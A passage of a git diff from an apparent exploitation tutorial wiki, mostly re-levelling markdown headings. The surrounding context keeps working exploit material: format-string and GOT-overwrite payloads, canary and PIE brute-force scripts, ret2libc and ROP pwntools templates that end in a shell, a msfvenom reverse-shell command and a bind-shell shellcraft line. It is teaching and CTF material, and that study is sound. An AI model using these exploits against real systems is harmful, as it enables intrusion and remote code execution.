indefinidamente en las partes de memoria a las q (Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib) -### **5.Métodos complementarios** +# **5.Métodos complementarios** **Ret2Ret** @@ -370,7 +369,7 @@ Este tipo de overflows no busca lograr escribir algo en el proceso del programa, No se sabe el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Puede ser que tome el valor que tomaba una variable de la función anterior y esta sea controlada por el atacante. -### **Format Strings** +# **Format Strings** In C **`printf`** is function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. @@ -395,7 +394,7 @@ AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -#### \*\*GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) +## \*\*GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) This is the table that contains the **address** to the **external functions** used by the program. @@ -420,7 +419,7 @@ Then, the **next time** a call is performed to that address the **function** is You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** -#### **Exploit Flow** +## **Exploit Flow** As explained before the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Ideally we could set the **address to a shellcode** located in a executable section, but highly probable you won't be able to write a shellcode in a executable section.\ So a different option is to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**. @@ -442,7 +441,7 @@ HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\ \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` -#### **Format String Exploit Template** +## **Format String Exploit Template** You an find a **template** to exploit the GOT using format-strings here: @@ -450,7 +449,7 @@ You an find a **template** to exploit the GOT using format-strings here: [format-strings-template.md](format-strings-template.md) {% endcontent-ref %} -#### **.fini\_array** +## **.fini\_array** Essentially this is a structure with **functions that will be called** before the program finishes. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go back to main again to **exploit the format string a second time**. @@ -467,7 +466,7 @@ Contents of section .fini_array: Note that this **won't** **create** an **eternal loop** because when you get back to main the canary will notice, the end of the stack might be corrupted and the function won't be recalled again. So with this you will be able to **have 1 more execution** of the vuln. -#### **Format Strings to Dump Content** +## **Format Strings to Dump Content** A format string can also be abused to **dump content** from the memory of the program.\ For example, in the following situation there is a **local variable in the stack pointing to a flag.** If you **find** where in **memory** the **pointer** to the **flag** is, you can make **printf access** that **address** and **print** the **flag**: @@ -486,7 +485,7 @@ So, **accessing** the **8th parameter** you can get the flag: Note that following the **previous exploit** and realising that you can **leak content** you can **set pointers** to **`printf`** to the section where the **executable** is **loaded** and **dump** it **entirely**! -#### **DTOR** +## **DTOR** {% hint style="danger" %} Nowadays is very **weird to find a binary with a dtor section**. @@ -503,12 +502,12 @@ rabin -s /exec | grep “__DTOR” Usually you will find the **DTOR** section **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. -#### **Format Strings to Buffer Overflows** +## **Format Strings to Buffer Overflows** Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. -#### **\_\_atexit Structures** +## **\_\_atexit Structures** {% hint style="danger" %} Nowadays is very **weird to exploit this**. @@ -519,7 +518,7 @@ If you can **modify** the **address** of any of these **functions** to point to Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64\_86**.\ The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. -#### **setjmp() & longjmp()** +## **setjmp() & longjmp()** {% hint style="danger" %} Nowadays is very **weird to exploit this**. @@ -538,7 +537,7 @@ Each class has a **Vtable** which is an array of **pointers to methods**. Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. -### **Medidas preventivas y evasiones** +# **Medidas preventivas y evasiones** **ASLR no tan aleatorio** @@ -592,7 +591,7 @@ Si se usa la función execve() después de fork(), se sobreescribe el espacio y **Relocation Read-Only (RELRO)** -#### Relro +## Relro **Relro (Read only Relocation)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro. @@ -744,7 +743,7 @@ Memcheck\ RAD (Return Address Defender)\ Insure++ -### **8 Heap Overflows: Exploits básicos** +# **8 Heap Overflows: Exploits básicos** **Trozo asignado** @@ -863,7 +862,7 @@ En caso de querer volver a usar uno se asignaría sin problemas. En caso de quer Un puntero previamente liberado es usado de nuevo sin control. -### **8 Heap Overflows: Exploits avanzados** +# **8 Heap Overflows: Exploits avanzados** Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink(). @@ -1079,12 +1078,12 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu **objdump -p -/exec**\ **Info functions strncmp —>** Info de la función en gdb -### Interesting courses +# Interesting courses * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -### **References** +# **References** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) diff --git a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md index cfc07739..217bd3ab 100644 --- a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md +++ b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Bypassing Canary & PIE - **If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** ![](<../../.gitbook/assets/image (144).png>) @@ -28,13 +26,13 @@ Note that **`checksec`** might not find that a binary is protected by a canary i However, you can manually notice this if you find that a value is saved in the stack at the begging of a function call and this value is checked before exiting. {% endhint %} -## Brute force Canary +# Brute force Canary The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): -### Example 1 +## Example 1 This example is implemented for 64bits but could be easily implemented for 32 bits. @@ -77,7 +75,7 @@ base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` -### Example 2 +## Example 2 This is implemented for 32 bits, but this could be easily changed to 64bits.\ Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. @@ -123,7 +121,7 @@ canary = breakCanary() log.info(f"The canary is: {canary}") ``` -## Print Canary +# Print Canary Another way to bypass the canary is to **print it**.\ Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\ @@ -133,7 +131,7 @@ With this info the attacker can **craft and send a new attack** knowing the cana Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\ CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -## PIE +# PIE In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** @@ -149,7 +147,7 @@ base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` -### Get base address +## Get base address The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. diff --git a/exploiting/linux-exploiting-basic-esp/format-strings-template.md b/exploiting/linux-exploiting-basic-esp/format-strings-template.md index 2a96381b..3b6723de 100644 --- a/exploiting/linux-exploiting-basic-esp/format-strings-template.md +++ b/exploiting/linux-exploiting-basic-esp/format-strings-template.md @@ -17,15 +17,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Format Strings Template - ```python from pwn import * from time import sleep -#################### -#### CONNECTION #### -#################### +################### +### CONNECTION #### +################### # Define how you want to exploit the binary LOCAL = True @@ -72,9 +70,9 @@ def connect_binary(): ROP_LOADED = ROP(elf)# Find ROP gadgets -######################################## -#### Get format string configuration ### -######################################## +####################################### +### Get format string configuration ### +####################################### def send_payload(payload): payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD diff --git a/exploiting/linux-exploiting-basic-esp/fusion.md b/exploiting/linux-exploiting-basic-esp/fusion.md index 572f2bd7..dabe6275 100644 --- a/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/exploiting/linux-exploiting-basic-esp/fusion.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Fusion - -## Level00 +# Level00 [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) @@ -52,7 +50,7 @@ r.send(buf) r.interactive() ``` -## Level01 +# Level01 ```python from pwn import * diff --git a/exploiting/linux-exploiting-basic-esp/ret2lib.md b/exploiting/linux-exploiting-basic-esp/ret2lib.md index 88812480..844a1b61 100644 --- a/exploiting/linux-exploiting-basic-esp/ret2lib.md +++ b/exploiting/linux-exploiting-basic-esp/ret2lib.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Ret2Lib - **If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.** -## If you are **inside** the **host** +# If you are **inside** the **host** -### You can find the **address of lib**c +## You can find the **address of lib**c ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) @@ -35,19 +33,19 @@ If you want to check if the ASLR is changing the address of libc you can do: for i in `seq 0 20`; do ldd | grep libc; done ``` -### Get offset of system function +## Get offset of system function ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` -### Get offset of "/bin/sh" +## Get offset of "/bin/sh" ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` -### /proc/\/maps +## /proc/\/maps If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). @@ -57,7 +55,7 @@ Here you can find **exactly where is the libc loaded** inside the process and ** In this case it is loaded in **0xb75dc000** (This will be the base address of libc) -### Using gdb-peda +## Using gdb-peda Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda: @@ -67,7 +65,7 @@ p exit find "/bin/sh" ``` -## Bypassing ASLR +# Bypassing ASLR You can try to bruteforce the abse address of libc. @@ -75,7 +73,7 @@ You can try to bruteforce the abse address of libc. for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -## Code +# Code ```python from pwn import * diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md index b93f2c05..2aa4b39c 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md @@ -17,21 +17,19 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# ROP - Leaking LIBC address - -## Quick Resume +# Quick Resume 1. **Find** overflow **offset** 2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets 3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) 4. With the library, **calculate the ROP and exploit it** -## Other tutorials and binaries to practice +# Other tutorials and binaries to practice This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) -## Code +# Code Filename: `vuln.c` @@ -51,7 +49,7 @@ int main() { gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` -## ROP - Leaking LIBC template +# ROP - Leaking LIBC template I'm going to use the code located here to make the exploit.\ Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: @@ -60,14 +58,14 @@ Download the exploit and place it in the same directory as the vulnerable binary [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} -## 1- Finding the offset +# 1- Finding the offset The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): ```bash -#################### -#### Find offset ### -#################### +################### +### Find offset ### +################### OFFSET = ""#"A"*72 if OFFSET == "": gdb.attach(p.pid, "c") #Attach and continue @@ -93,7 +91,7 @@ After finding the offset (in this case 40) change the OFFSET variable inside the Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. -## 2- Finding Gadgets +# 2- Finding Gadgets Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. @@ -114,7 +112,7 @@ The **POP\_RDI** is needed to **pass** a **parameter** to the called function. In this step you don't need to execute anything as everything will be found by pwntools during the execution. -## 3- Finding LIBC library +# 3- Finding LIBC library Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. @@ -165,14 +163,14 @@ This way we have **tricked puts function** to **print** out the **address** in * As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ But, in a remote exploit case I will explain here how can you find it: -### 3.1- Searching for libc version (1) +## 3.1- Searching for libc version (1) You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ It will also allow you to download the discovered version of **libc** ![](<../../../.gitbook/assets/image (142).png>) -### 3.2- Searching for libc version (2) +## 3.2- Searching for libc version (2) You can also do: @@ -207,7 +205,7 @@ Getting libc6_2.23-0ubuntu10_amd64 Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. -### 3.3- Other functions to leak +## 3.3- Other functions to leak ```python puts @@ -217,7 +215,7 @@ read gets ``` -## 4- Finding based libc address & exploiting +# 4- Finding based libc address & exploiting At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` @@ -256,7 +254,7 @@ rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) p.clean() p.sendline(rop2) -##### Interact with the shell ##### +#### Interact with the shell ##### p.interactive() #Interact with the conenction ``` @@ -268,7 +266,7 @@ Finally, the **address of exit function** is **called** so the process **exists ![](<../../../.gitbook/assets/image (143).png>) -## 4(2)- Using ONE\_GADGET +# 4(2)- Using ONE\_GADGET You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \ However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. @@ -280,7 +278,7 @@ ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` -## EXPLOIT FILE +# EXPLOIT FILE You can find a template to exploit this vulnerability here: @@ -288,9 +286,9 @@ You can find a template to exploit this vulnerability here: [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} -## Common problems +# Common problems -### MAIN\_PLT = elf.symbols\['main'] not found +## MAIN\_PLT = elf.symbols\['main'] not found If the "main" symbol does not exist. Then you can just where is the main code: @@ -306,11 +304,11 @@ and set the address manually: MAIN_PLT = 0x401080 ``` -### Puts not found +## Puts not found If the binary is not using Puts you should check if it is using -### `sh: 1: %s%s%s%s%s%s%s%s: not found` +## `sh: 1: %s%s%s%s%s%s%s%s: not found` If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md index 1508100c..628a39f0 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -17,16 +17,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# ROP - Leaking LIBC template - {% code title="template.py" %} ```python from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools -#################### -#### CONNECTION #### -#################### +################### +### CONNECTION #### +################### LOCAL = False REMOTETTCP = True REMOTESSH = False @@ -61,9 +59,9 @@ if GDB and not REMOTETTCP and not REMOTESSH: -########################## -##### OFFSET FINDER ###### -########################## +######################### +#### OFFSET FINDER ###### +######################### OFFSET = b"" #b"A"*264 if OFFSET == b"": @@ -79,9 +77,9 @@ if OFFSET == b"": -##################### -#### Find Gadgets ### -##################### +#################### +### Find Gadgets ### +#################### try: libc_func = "puts" PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts @@ -99,9 +97,9 @@ log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("ret gadget: " + hex(RET)) -######################### -#### Find LIBC offset ### -######################### +######################## +### Find LIBC offset ### +######################## def generate_payload_aligned(rop): payload1 = OFFSET + rop @@ -157,11 +155,11 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base -############################## -##### FINAL EXPLOITATION ##### -############################## +############################# +#### FINAL EXPLOITATION ##### +############################# -### Via One_gadget (https://github.com/david942j/one_gadget) +## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): import string, subprocess @@ -183,7 +181,7 @@ if USE_ONE_GADGET: if one_gadgets: rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains -### Normal/Long exploitation +## Normal/Long exploitation if not rop2: BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh SYSTEM = LIBC.sym["system"] @@ -205,9 +203,9 @@ P.interactive() #Interact with your shell :) ``` {% endcode %} -## Common problems +# Common problems -### MAIN\_PLT = elf.symbols\['main'] not found +## MAIN\_PLT = elf.symbols\['main'] not found If the "main" symbol does not exist. Then you can just where is the main code: @@ -223,11 +221,11 @@ and set the address manually: MAIN_PLT = 0x401080 ``` -### Puts not found +## Puts not found If the binary is not using Puts you should check if it is using -### `sh: 1: %s%s%s%s%s%s%s%s: not found` +## `sh: 1: %s%s%s%s%s%s%s%s: not found` If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` diff --git a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md index 848d9a95..8df622f6 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md +++ b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# ROP - call sys\_execve - In order to prepare the call for the **syscall** it's needed the following configuration: * `rax: 59 Specify sys_execve` @@ -28,7 +26,7 @@ In order to prepare the call for the **syscall** it's needed the following confi So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). -## Control the registers +# Control the registers Let's start by finding **how to control those registers**: @@ -42,9 +40,9 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" With these addresses it's possible to **write the content in the stack and load it into the registers**. -## Write string +# Write string -### Writable memory +## Writable memory Frist you need to find a writable place in the memory @@ -57,7 +55,7 @@ Start End Offset Perm Path 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` -### Write String +## Write String Then you need to find a way to write arbitrary content in this address @@ -66,7 +64,7 @@ ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` -#### 32 bits +### 32 bits ```python ''' @@ -90,7 +88,7 @@ rop += p32(0x6b6000 + 4) rop += writeGadget ``` -#### 64 bits +### 64 bits ```python ''' @@ -108,7 +106,7 @@ rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` -## Example +# Example ```python from pwn import * @@ -177,7 +175,7 @@ target.sendline(payload) target.interactive() ``` -## References +# References * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md index 4aa16544..f6d79065 100644 --- a/exploiting/tools/README.md +++ b/exploiting/tools/README.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Exploiting Tools - -## Metasploit +# Metasploit ``` pattern_create.rb -l 3000 #Length @@ -29,27 +27,27 @@ nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` -### Shellcodes +## Shellcodes ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` -## GDB +# GDB -### Install +## Install ``` apt-get install gdb ``` -### Parameters +## Parameters **-q** --> No show banner\ **-x \** --> Auto-execute GDB instructions from here\ **-p \** --> Attach to process -#### Instructions +### Instructions \> **disassemble main** --> Disassemble the function\ \> **disassemble 0x12345678**\ @@ -92,7 +90,7 @@ apt-get install gdb * **x/xw \&pointer** --> Address where the pointer is located * **x/i $eip** —> Instructions of the EIP -### [GEF](https://github.com/hugsy/gef) +## [GEF](https://github.com/hugsy/gef) ```bash checksec #Check protections @@ -124,9 +122,9 @@ gef➤ pattern search 0x6261617762616176 [+] Found at offset 184 (little-endian search) likely ``` -### Tricks +## Tricks -#### GDB same addresses +### GDB same addresses While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: @@ -136,7 +134,7 @@ While debugging GDB will have **slightly different addresses than the used by th * Exploit the binary using the same absolute route * `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary -#### Backtrace to find functions called +### Backtrace to find functions called When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: @@ -150,13 +148,13 @@ gef➤ bt #4 0x0000000000400a5a in ?? () ``` -### GDB server +## GDB server `gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) -## Ghidra +# Ghidra -### Find stack offset +## Find stack offset **Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ @@ -164,7 +162,7 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ ![](<../../.gitbook/assets/image (616).png>) -## GCC +# GCC **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ **-o** --> Output\ @@ -175,7 +173,7 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ **nasm -f elf assembly.asm** --> return a ".o"\ **ld assembly.o -o shellcodeout** --> Executable -## Objdump +# Objdump **-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ **-Mintel** --> **Intel** syntax\ @@ -188,13 +186,13 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ **ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ **objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section). -## Core dumps +# Core dumps 1. Run `ulimit -c unlimited` before starting my program 2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +# More **ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ @@ -204,16 +202,16 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ **strace executable** --> Functions called by the executable\ **rabin2 -i ejecutable -->** Address of all the functions -## **Inmunity debugger** +# **Inmunity debugger** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` -## IDA +# IDA -### Debugging in remote linux +## Debugging in remote linux Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary: diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md index b7ae814e..f0c1bba8 100644 --- a/exploiting/tools/pwntools.md +++ b/exploiting/tools/pwntools.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# PwnTools - ``` pip3 install pwntools ``` -## Pwn asm +# Pwn asm Get opcodes from line or file. @@ -39,7 +37,7 @@ pwn asm -i * avoid bytes (new lines, null, a list) * select encoder debug shellcode using gdb run the output -## **Pwn checksec** +# **Pwn checksec** Checksec script @@ -47,9 +45,9 @@ Checksec script pwn checksec ``` -## Pwn constgrep +# Pwn constgrep -## Pwn cyclic +# Pwn cyclic Get a pattern @@ -65,7 +63,7 @@ pwn cyclic -l faad * context (16,32,64,linux,windows...) * Take the offset (-l) -## Pwn debug +# Pwn debug Attach GDB to a process @@ -81,7 +79,7 @@ pwn debug --process bash * gdbscript to execute * sysrootpath -## Pwn disablenx +# Pwn disablenx Disable nx of a binary @@ -89,7 +87,7 @@ Disable nx of a binary pwn disablenx ``` -## Pwn disasm +# Pwn disasm Disas hex opcodes @@ -103,7 +101,7 @@ pwn disasm ffe4 * base addres * color(default)/no color -## Pwn elfdiff +# Pwn elfdiff Print differences between 2 fiels @@ -111,7 +109,7 @@ Print differences between 2 fiels pwn elfdiff ``` -## Pwn hex +# Pwn hex Get hexadecimal representation @@ -119,7 +117,7 @@ Get hexadecimal representation pwn hex hola #Get hex of "hola" ascii ``` -## Pwn phd +# Pwn phd Get hexdump @@ -133,11 +131,11 @@ pwn phd * Number of bytes per line highlight byte * Skip bytes at beginning -## Pwn pwnstrip +# Pwn pwnstrip -## Pwn scrable +# Pwn scrable -## Pwn shellcraft +# Pwn shellcraft Get shellcodes @@ -164,7 +162,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port * list possible shellcodes * Generate ELF as a shared library -## Pwn template +# Pwn template Get a python template @@ -174,7 +172,7 @@ pwn template **Can select:** host, port, user, pass, path and quiet -## Pwn unhex +# Pwn unhex From hex to string @@ -182,7 +180,7 @@ From hex to string pwn unhex 686f6c61 ``` -## Pwn update +# Pwn update To update pwntools diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 6898c85b..f0a385f3 100644 --- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Windows Exploiting (Basic Guide - OSCP lvl) +# **Start installing the SLMail service** -## **Start installing the SLMail service** - -## Restart SLMail service +# Restart SLMail service Every time you need to **restart the service SLMail** you can do it using the windows console: @@ -31,7 +29,7 @@ net start slmail ![](<../.gitbook/assets/image (23).png>) -## Very basic python exploit template +# Very basic python exploit template ```python #!/usr/bin/python @@ -55,11 +53,11 @@ except: print "Could not connect to "+ip+":"+port ``` -## **Change Immunity Debugger Font** +# **Change Immunity Debugger Font** Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> 